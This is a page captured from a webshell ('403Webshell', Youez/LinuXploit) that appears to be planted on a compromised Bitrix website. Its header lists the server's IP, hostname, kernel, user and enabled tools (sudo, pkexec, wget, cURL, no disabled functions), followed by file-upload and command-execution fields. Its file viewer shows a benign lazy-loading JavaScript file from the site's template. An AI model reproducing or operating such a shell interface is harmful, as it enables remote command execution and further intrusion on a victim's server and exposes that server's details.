403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/templates/landing24/assets/js/helpers/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/templates/landing24/assets/js/helpers/lazy_load.js
;(function ()
{
	"use strict";

	var observerOptions = {
		// rootMargin: document.documentElement.clientHeight + 'px'
	};
	var observer = new IntersectionObserver(onIntersection, observerOptions);
	var loadedMap = new WeakMap();

	var slice = BX.Landing.Utils.slice;
	var onCustomEvent = BX.Landing.Utils.onCustomEvent;

	var bgHideStyleString = "[style*='background-image:']{background-image: none !important;}";

	onCustomEvent("BX.Landing.Block:init", function (event)
	{
		observer.observe(event.block);
	});


	/**
	 * @param {IntersectionObserverEntry[]} entries
	 */
	function onIntersection(entries)
	{
		entries.forEach(function (entry)
		{
			if (entry.isIntersecting && !loadedMap.has(entry.target))
			{
				loadedMap.set(entry.target, true);

				// load <img>
				var observableImgs = slice(entry.target.querySelectorAll('[data-lazy-src]'));
				observableImgs.forEach(function(img) {
					var src = BX.data(img, 'lazy-src');
					BX.adjust(img, {
						attrs: {
							'src': src,
							'data-lazy-src': ""
						}
					});
				});

				//load bg
				var firstChild = entry.target.firstElementChild;
				if(
					firstChild.tagName == 'STYLE' &&
					firstChild.innerText.indexOf(bgHideStyleString) !== 0
				)
				{
					BX.remove(firstChild);
				}
			}
		});
	}
})();

Youez - 2016 - github.com/yon3zu
LinuXploit